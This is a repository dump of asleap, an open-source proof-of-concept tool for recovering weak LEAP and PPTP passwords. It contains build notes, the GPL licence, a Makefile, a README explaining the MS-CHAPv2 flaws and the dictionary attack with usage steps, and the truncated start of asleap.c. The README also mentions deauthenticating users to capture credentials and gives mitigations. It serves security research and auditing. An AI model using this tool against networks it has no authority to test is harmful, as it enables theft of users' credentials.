├── .gitignore ├── COMPILING.md ├── COPYING ├── Makefile ├── README.md ├── THANKS.md ├── asleap.c ├── asleap.h ├── byteswap.h ├── common.c ├── common.h ├── genkeys.c ├── genkeys.val ├── ieee80211.h ├── ieee8021x.h ├── ietfproto.h ├── makefile.cygwin ├── md4.c ├── md4.h ├── radiotap.h ├── samples ├── README ├── joshlea.dump ├── leap.dump ├── leap2.dump └── pptp.dump ├── scripts ├── README ├── morewords.pl ├── strip-nonascii.pl └── testidx.c ├── sha1.c ├── sha1.h ├── utils.c ├── utils.h └── version.h /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | asleap 3 | genkeys 4 | -------------------------------------------------------------------------------- /COMPILING.md: -------------------------------------------------------------------------------- 1 | # Compiling the Source 2 | 3 | To compile this source you will need the [libxcrypt](https://github.com/besser82/libxcrypt/) 4 | library. At the time of this writing, this is `libxcrypt-dev` on Debian-like systems. Check 5 | your Linux distribution for installation directions. For Debian systems: 6 | 7 | ``` 8 | $ sudo apt update && sudo apt install libxcrypt-dev -y 9 | ``` 10 | 11 | To build this tool, change to the `asleap` directory and run `make`: 12 | 13 | ``` 14 | $ make 15 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 -c -o sha1.o sha1.c 16 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 -c -o common.o common.c 17 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 -c -o utils.o utils.c 18 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 asleap.c -o asleap common.o utils.o sha1.o -lpcap -lxcrypt -lcrypto 19 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 md4.c genkeys.c -o genkeys common.o utils.o -lpcap -lxcrypt -lcrypto 20 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 -c -o asleap.o asleap.c 21 | gcc -pipe -Wall -D_LINUX -D_OPENSSL_MD4 -g3 -c -o genkeys.o genkeys.c 22 | ``` 23 | 24 | Optionally you can edit the `Makefile` and change the compiler to clang as desired. 25 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc. 5 | 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Library General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 19yy 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) 19yy name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ################################## 2 | # Well, I may be doing stupid things with make 3 | # OK, it was Makefile stupid'ness 4 | # I don't really understand what the hell I am doing with Make, I'm 5 | # just copying other files and seeing what works. 6 | # heh 7 | # i think thats all anyone does 8 | # make is a twisted beast 9 | ################################## 10 | LDLIBS = -lpcap -lxcrypt 11 | CFLAGS = -pipe -Wall -D_LINUX -D_OPENSSL_MD4 12 | LDLIBS += -lcrypto 13 | CFLAGS += -g3 #-ggdb -g 14 | PROGOBJ = asleap.o genkeys.o utils.o common.o sha1.o 15 | PROG = asleap genkeys 16 | #CC = clang-10 17 | CC = gcc 18 | 19 | all: $(PROG) $(PROGOBJ) 20 | 21 | utils: utils.c utils.h 22 | $(CC) $(CFLAGS) utils.c -c 23 | 24 | common: common.c common.h 25 | $(CC) $(CFLAGS) common.c -c 26 | 27 | sha1: sha1.c sha1.h 28 | $(CC) $(CFLAGS) sha1.c -c 29 | 30 | asleap: asleap.c asleap.h sha1.o common.o common.h utils.o version.h sha1.c \ 31 | sha1.h 32 | $(CC) $(CFLAGS) asleap.c -o asleap common.o utils.o sha1.o $(LDLIBS) 33 | 34 | genkeys: genkeys.c md4.c md4.h common.o utils.o version.h common.h 35 | $(CC) $(CFLAGS) md4.c genkeys.c -o genkeys common.o utils.o $(LDLIBS) 36 | 37 | clean: 38 | $(RM) $(PROGOBJ) $(PROG) *~ 39 | 40 | strip: 41 | @ls -l $(PROG) 42 | @strip $(PROG) 43 | @ls -l $(PROG) 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # asleap - recovers weak LEAP and PPTP passwords 2 | 3 | Pronounced "asleep". Copyright(c) 2004-2020, [Joshua Wright](https://github.com/joswr1ght) 4 | 5 | ------------------------------------------------------------------------------- 6 | ## UPDATE - 2020-11-28 7 | 8 | Due to GLIBC removal of setkey and crypt functions, link to libxcrypt to 9 | restore functionality. Minor code cleanup. 10 | 11 | ## UPDATE - 2008-5-28 12 | 13 | Minor update to fix a problem with IFNAMSIZ errors in build on some platforms. 14 | 15 | ## UPDATE - 2007-7-13 16 | 17 | I updated asleap to include the "-C" and "-W" options, where you can specify 18 | the challenge value (in colon-delimited bytes) and the response (ditto) on the 19 | command-line. This makes asleap more of a generic MS-CHAPv2 dictionary attack 20 | tool, which is fine by me. 21 | 22 | ## UPDATE - 2007-5-10 23 | 24 | I spent some time updating asleap and came to the following conclusions: 25 | 26 | + My code is much better now than it was in 2003/2004 27 | + I was (something stupid I wrote in 2007) 28 | 29 | I removed a lot of functionality that I didn't think was necessary any more in 30 | this version, specifically: 31 | 32 | + No more support for Airopeek NX files; if you want to read from a .apc 33 | file, install Wireshark, and run "tshark -r input.apc -w output.dump" 34 | to convert to libpcap format. 35 | + No more integration with Airjack to deauth users. If you still want 36 | to deauth users to get their LEAP credentials without waiting, you 37 | can use a tool such as file2air, MDK2 or aireplay-ng. 38 | + I stopped caring about Windows a long time ago. If you need this, 39 | and you only run Windows, try using a bootable Linux ISO like 40 | Backtrack (www.remote-exploit.org) and VMWare. 41 | 42 | On the brighter side: 43 | 44 | + The code has 90% less teh suck 45 | + Fixed an awful bug where passwords > 64 characters caused genkeys 46 | to segfault. 47 | + Added code to handle QoS data frames 48 | + Can handle radiotap-formatted capture files now 49 | 50 | ## INTRO 51 | 52 | ``` 53 | This tool is released as a proof-of-concept to demonstrate weaknesses in 54 | the LEAP and PPTP protocols. 55 | 56 | LEAP is the Lightweight Extensible Authentication Protocol, intellectual 57 | property of Cisco Systems, Inc. LEAP is a security mechanism available 58 | only on Cisco access points to perform authentication of end-users 59 | and access points. LEAP is written as a standard EAP-type, but is not 60 | compliant with the 802.1X specification since the access point modifies 61 | packets in transit, instead of simply passing them to a authentication 62 | server (e.g. RADIUS). 63 | 64 | PPTP is a Microsoft invention for deploying virual private networks (VPN). 65 | PPTP uses a tunneling method to transfer PPP frames over an insecure 66 | network such as a wireless LAN. RFC 2637 documents the operation and 67 | functionality of the PPTP protocol. 68 | 69 | 70 | BACKGROUND 71 | 72 | LEAP utilizes a modified MS-CHAPv2 challenge/response in order to 73 | authenticate users on a wireless network. The MS-CHAPv2 authentication 74 | method has been clearly identified as a weak method of authentication 75 | for several reasons. A standard LEAP exchange is as follows: 76 | 77 | 1. STA requests authentication with 802.1X start message 78 | 2. AP issues a random 8-byte challenge 79 | 3. STA encrypts the 8-byte challenge 3 times, using the NT hash of their 80 | password as seed material. The STA then joins the 3 DES outputs as a 81 | single 24-byte response. 82 | 4. AP issues a success or failure message. 83 | 5. STA issues a 8-byte challenge. 84 | 6. AP responds with a 24-byte response. 85 | 7. STA is able to send data to the distribution system. 86 | 87 | PPTP networks use a straight implementation of MS-CHAPv2 for authentication, 88 | which is slightly more complex than the LEAP example: 89 | 90 | 1. STA initiates PPP configuration negotiation options 91 | 2. PPTP server (SERVER) issues a random 16-byte challenge 92 | 3. STA generates a random 16-byte STA challenge 93 | 4. STA uses SHA1 to hash the SERVER 16-byte challenge, the ST challenge 94 | and the STA's username. The first 8-bytes become the 8-byte random 95 | challenge (step 2 in LEAP). 96 | 5. STA encrypts the 8-byte challenge 3 times using the NT hash of their 97 | password as see material. The three 8-byte outputs are contcatenated 98 | to generate a single 24-byte response. 99 | 6. STA transmits the 24-byte response, the 16-byte STA challenge and the 100 | STA username to the SERVER. 101 | 7. SERVER decrypts the 24-byte response with the STA's stored NT password 102 | hash. If the decrypted response does not match the SERVER challenge, 103 | the SERVER issues a PPP CHAP Failure message. 104 | 8. If the response does match the SERVER challenge, the SERVER hashes the 105 | STA password hash to create a password-hash-hash. 106 | 9. The SERVER combines the password-hash-hash, the literal "Magic server 107 | to client signing constant", and the 24-byte response and calculates a 108 | SHA1 hash. 109 | 10.The SERVER calculates the 8-byte challenge using the same procedure in 110 | (4). 111 | 11.Combining the output from (9) and (10) with the literal constant "Pad 112 | to make it do more than one iteration", the SERVER calculates another 113 | SHA1 hash. 114 | 12.The output of (11) is converted to upper-case ASCII-hexadecimal 115 | representation and transmitted back to the STA. 116 | 13.The STA uses steps (8-12) to authenticate* the SERVER. 117 | 118 | * If anyone can explain to me why the MS-CHAPv2 algorithm has all this 119 | seemingly unnecessary complexity, please contact me. 120 | 121 | 122 | Unfortunately, the MS-CHAPv2 challenge/response suffers from several notable 123 | flaws: 124 | 125 | + No salt in used in conjunction with the NT hash 126 | - Permits pre-computed dictionary attacks 127 | + Weak DES key selection for challenge/response 128 | - Permits recovery of 2 bytes of the NT hash 129 | + Username sent in clear-text 130 | 131 | With these flaws present, we are able to deduce enough information to 132 | mount a dictionary attack against a user's password after capturing their 133 | successful login to a LEAP or PPTP network. Since we are attacking a 134 | wireless network exchange, this is a trivial task with a wireless sniffer. 135 | 136 | 137 | OUR ATTACK 138 | 139 | Since there is no salt in the NT hash, we can precalculate an indexed list 140 | of passwords and their associated NT hashes. This is only marginally 141 | useful to us, since we would normally need to run three rounds of DES 142 | to encrypt the random challenge for each word in our dictionary. Not an 143 | unreasonable task, but certainly time-consuming on a single mobile device 144 | like a laptop or a PDA. 145 | 146 | We can significantly reduce the amount of time needed to launch an attack 147 | against the LEAP or PPTP challenge/response by leveraging a second flaw in 148 | the MS-CHAPv2 protocol. When a STA receives a challenge, they encrypt the 149 | challenge three times, using portions of their password hash as DES seeds. 150 | The DES algorithm requires a 7-byte seed value in this algorithm, so the 151 | STA splits their 16-byte NT hash into three portions: 152 | 153 | seed1 = HB1 .. HB7 154 | seed2 = HB8 .. HB14 155 | seed3 = HB15, HB16, 0x00, 0x00, 0x00, 0x00, 0x00 156 | 157 | Where HBx is the bytes of the NT hash, and 0x00 is a standard NULL byte. 158 | 159 | The flaw with this method is that the third DES output is cryptographically 160 | weak, leaving only 2^16 possible permutations. This can be calculated in 161 | a matter of seconds, even on older Pentium hardware. 162 | 163 | By calculating all 2^16 possibilities of the last 8 bytes of the response 164 | value, we can derive the last 2 bytes of the NT hash (HB15, HB16). With the 165 | last two bytes of the NT hash, we can significantly reduce the number 166 | of potential matches in our dictionary file. We can also utilize this 167 | information to perform highly optimized indexed lookups on our dictionary 168 | file, using the known 2 bytes of the users hash as a keying mechanism. 169 | 170 | Asleap will examine traffic to identify the LEAP or PPTP challenge/response 171 | process and will extract the username, challenge and response information. 172 | This can be done in a passive operation with a 802.11 card in RFMON mode, 173 | or through an active attack, where asleap impersonates the legitimate access 174 | point, and forces the victim to deauthenticate from the network. 175 | 176 | From the STA response and the challenge, asleap will calculate the last two 177 | bytes of the matching NT hash, and display that value. After calculating the 178 | last two bytes of the NT hash, asleap will search the genkeys output file 179 | of dict+hashes for matching hash values. With the matching hash value, 180 | asleap will use it to seed the DES operation and encrypt the challenge, 181 | comparing the output to the captured response from the STA. If the 182 | calculated 24-byte response value matches the captured 24-byte response, 183 | asleap will display the associated clear-text password. 184 | 185 | If the password for the LEAP or PPTP user is not present in your dictionary 186 | file, asleap will not be able to report the user's password. The quality 187 | of your dictionary file will have a lot to do with the success of recovering 188 | LEAP/PPTP user passwords. 189 | 190 | 191 | THE TOOLS 192 | 193 | You will need a dictionary file, one word per line, to use with asleap. 194 | Please don't ask me for my dictionary file - be creative and put your 195 | own together. You can use the morewords.pl and strip-nonascii.pl scripts 196 | in the scripts/ directory if desired. 197 | 198 | + STEP 1. Generate the database and index files to use with asleap lookups 199 | by running them through genkeys. Very straightforward: 200 | 201 | $ ./genkeys 202 | genkeys 2.0 - generates lookup file for asleap. 203 | genkeys: Must supply -r -f and -n 204 | Usage: genkeys [options] 205 | 206 | -r Input dictionary file, one word per line 207 | -f Output pass+hash filename 208 | -n Output index filename 209 | -h Last 2 hash bytes to filter with (optional) 210 | $ 211 | 212 | I typically use .dat and .idx extensions on the database ("outfile") and 213 | index file, just to keep it straight in my head. 214 | 215 | 216 | + STEP 2. Decide how you are going to collect LEAP credentials for use with 217 | asleap. This could be through a live interface in RFMON mode, or through 218 | a previous capture file in libpcap format. Take a look 219 | at the command line options for asleap: 220 | 221 | $ ./asleap 222 | asleap 2.0 - actively recover LEAP/PPTP passwords. 223 | asleap: Must supply an interface with -i, or a stored file with -r 224 | Usage: asleap [options] 225 | 226 | -r Read from a libpcap file 227 | -i Interface to capture on 228 | -f Dictionary file with NT hashes 229 | -n Index file for NT hashes 230 | -s Skip the check to make sure authentication was successful 231 | -h Output this help information and exit 232 | -v Print verbose information (more -v for more verbosity) 233 | -V Print program version and exit 234 | -W ASCII dictionary file (special purpose) 235 | $ 236 | 237 | 238 | BUGS 239 | 240 | I'm certain. Let me know about them. 241 | While not a bug - a word on channel hopping. Use channel hopping only to 242 | look for networks that are running LEAP. If you are always hopping to a 243 | different channel, you are likely going to miss valid targets. 244 | 245 | 246 | THE FIX 247 | 248 | LEAP is inherently weak as it relies on MS-CHAPv2 for authentication of 249 | clients on the wireless network. Cisco seems to acknowledge this fact in 250 | their support of the Protected Extensible Authentication Protocol (PEAP) 251 | that uses MS-CHAPv2 authentication within a stronger TLS encryption channel. 252 | Users relying on LEAP for WLAN access control should consider switching to 253 | PEAP or TTLS, both open EAP types submitted to the IETF for standardization. 254 | As a short-term measure, LEAP users should immediately audit the passwords 255 | of their users to identify weak passwords. Weak passwords should be expired 256 | and replaced with passwords at least 8 characters in length that consist of 257 | numbers, letters and special characters. This is only a stop-gap measure, 258 | since an attacker with sufficient disk space could create an exhaustive 259 | list of all printable characters to use for their dictionary attacks. 260 | 261 | Since PPTP uses the same MS-CHAPv2 algorithm, it suffers from the same 262 | weaknesses as LEAP. Microsoft recommends users select very strong passwords, 263 | or switch to a more secure authentication mechanism such as IPSec or L2TP. 264 | 265 | 266 | QUESTIONS, COMMENTS, CONCERNS 267 | 268 | Please contact jwright@hasborg.com with any questions, comments on concerns. 269 | ``` 270 | -------------------------------------------------------------------------------- /THANKS.md: -------------------------------------------------------------------------------- 1 | Many people have helped with this project to which I sincerely offer my 2 | thanks. 3 | 4 | + Abaddon 5 | + [Dragorn](https://github.com/kismetwireless/kismet) 6 | + Bob H. 7 | + Rob Timko 8 | + Anton Rager 9 | + Jacob Brown 10 | + Devin Akin 11 | + George Ou 12 | + [puepleSkies26](https://github.com/purpleSkies26) 13 | -------------------------------------------------------------------------------- /asleap.c: -------------------------------------------------------------------------------- 1 | /* 2 | * asleap - actively recover weak LEAP passwords. Pronounced "asleep". 3 | * 4 | * Copyright (c) 2004, Joshua Wright 5 | * 6 | * $Id: asleap.c,v 1.30 2007/05/10 19:29:06 jwright Exp $ 7 | * 8 | * This program is free software; you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License version 2 as 10 | * published by the Free Software Foundation. See COPYING for more 11 | * details. 12 | * 13 | * asleap is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | */ 18 | 19 | /* 20 | * Significant code is graciously taken from the following: 21 | * MS-CHAPv2 and attack tools by Jochen Eisinger, Univ. of Freiburg 22 | * AirJack drivers by Abaddon. 23 | */ 24 | 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | 49 | #include "asleap.h" 50 | #include "utils.h" 51 | #include "common.h" 52 | #include "version.h" 53 | #include "sha1.h" 54 | #include "radiotap.h" 55 | #include "byteswap.h" 56 | #include "ieee80211.h" 57 | #include "ieee8021x.h" 58 | #include "ietfproto.h" 59 | 60 | #define SNAPLEN 2312 61 | #define PROMISC 1 62 | #define TIMEOUT 500 /* for pcap */ 63 | #define PROGNAME "asleap" 64 | 65 | /* Globals */ 66 | pcap_t *p = NULL; 67 | u_char *packet; 68 | struct pcap_pkthdr h; 69 | char errbuf[PCAP_ERRBUF_SIZE]; 70 | int success = 0; /* For return status of attack */ 71 | unsigned long pcount=0; 72 | 73 | /* prototypes */ 74 | void usage(char *message); 75 | void cleanup(); 76 | void print_leapexch(struct asleap_data 